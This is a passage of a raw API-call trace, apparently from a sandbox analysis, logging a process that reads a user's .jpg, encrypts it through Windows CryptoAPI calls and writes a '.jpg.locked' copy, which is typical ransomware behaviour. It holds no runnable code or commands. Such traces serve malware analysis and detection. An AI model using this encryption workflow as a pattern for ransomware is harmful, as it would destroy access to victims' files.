lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.024] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.024] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.024] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.024] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.025] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.025] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.026] GetFileType (hFile=0x858) returned 0x1 [0135.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.026] GetFileType (hFile=0x858) returned 0x1 [0135.026] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.026] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.026] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.026] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.026] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.026] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked", lpFilePart=0x0) returned 0x6e [0135.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.026] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.027] GetFileType (hFile=0x874) returned 0x1 [0135.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.027] GetFileType (hFile=0x874) returned 0x1 [0135.027] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.027] CryptGenRandom (in: hProv=0x43969b0, dwLen=0x10, pbBuffer=0x69b09cc | out: pbBuffer=0x69b09cc) returned 1 [0135.027] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.027] CryptDuplicateKey (in: hKey=0x8e84db8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84b78) returned 1 [0135.027] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.027] CryptSetKeyParam (hKey=0x8e84b78, dwParam=0x4, pbData=0x69b1c88*=0x1, dwFlags=0x0) returned 1 [0135.027] CryptSetKeyParam (hKey=0x8e84b78, dwParam=0x1, pbData=0x69b1c54, dwFlags=0x0) returned 1 [0135.027] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf480\x437\x242") returned 0x0 [0135.027] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.027] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.027] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.028] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.028] ReadFile (in: hFile=0x858, lpBuffer=0x69b52ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69b52ac*, lpNumberOfBytesRead=0x99ae7a8*=0xe601, lpOverlapped=0x0) returned 1 [0135.028] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69c92b8*, pdwDataLen=0x99ae79c*=0xe600, dwBufLen=0xe600 | out: pbData=0x69c92b8*, pdwDataLen=0x99ae79c*=0xe600) returned 1 [0135.028] WriteFile (in: hFile=0x874, lpBuffer=0x69b0a8c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69b0a8c*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.029] WriteFile (in: hFile=0x874, lpBuffer=0x69ca2a4*, nNumberOfBytesToWrite=0xd614, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69ca2a4*, lpNumberOfBytesWritten=0x99ae780*=0xd614, lpOverlapped=0x0) returned 1 [0135.030] ReadFile (in: hFile=0x858, lpBuffer=0x69b52ac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69b52ac*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.030] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d78dc*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69d78dc*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.030] CryptEncrypt (in: hKey=0x8e84b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69d7910*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69d7910*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.030] WriteFile (in: hFile=0x874, lpBuffer=0x69b0a8c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69b0a8c*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.030] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.030] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.030] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.030] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.030] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.031] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg")) returned 0x20 [0135.031] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.031] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.031] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.032] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.032] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.032] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.032] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.032] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.032] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.032] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.032] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.032] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.032] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.032] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.032] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.032] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.032] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.032] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.032] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.033] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.033] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.033] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.033] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.033] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.033] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.033] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.033] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.033] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.033] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.033] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp")) returned 0x10 [0135.033] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp")) returned 0x10 [0135.033] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP", lpFilePart=0x0) returned 0x4f [0135.033] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP", lpFilePart=0x0) returned 0x4f [0135.033] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg")) returned 0x20 [0135.034] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.034] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.034] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.034] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg", lpFilePart=0x0) returned 0x67 [0135.034] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg\\", lpFilePart=0x0) returned 0x68 [0135.034] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.034] SetThreadErrorMode (dwNewMode=0x1, 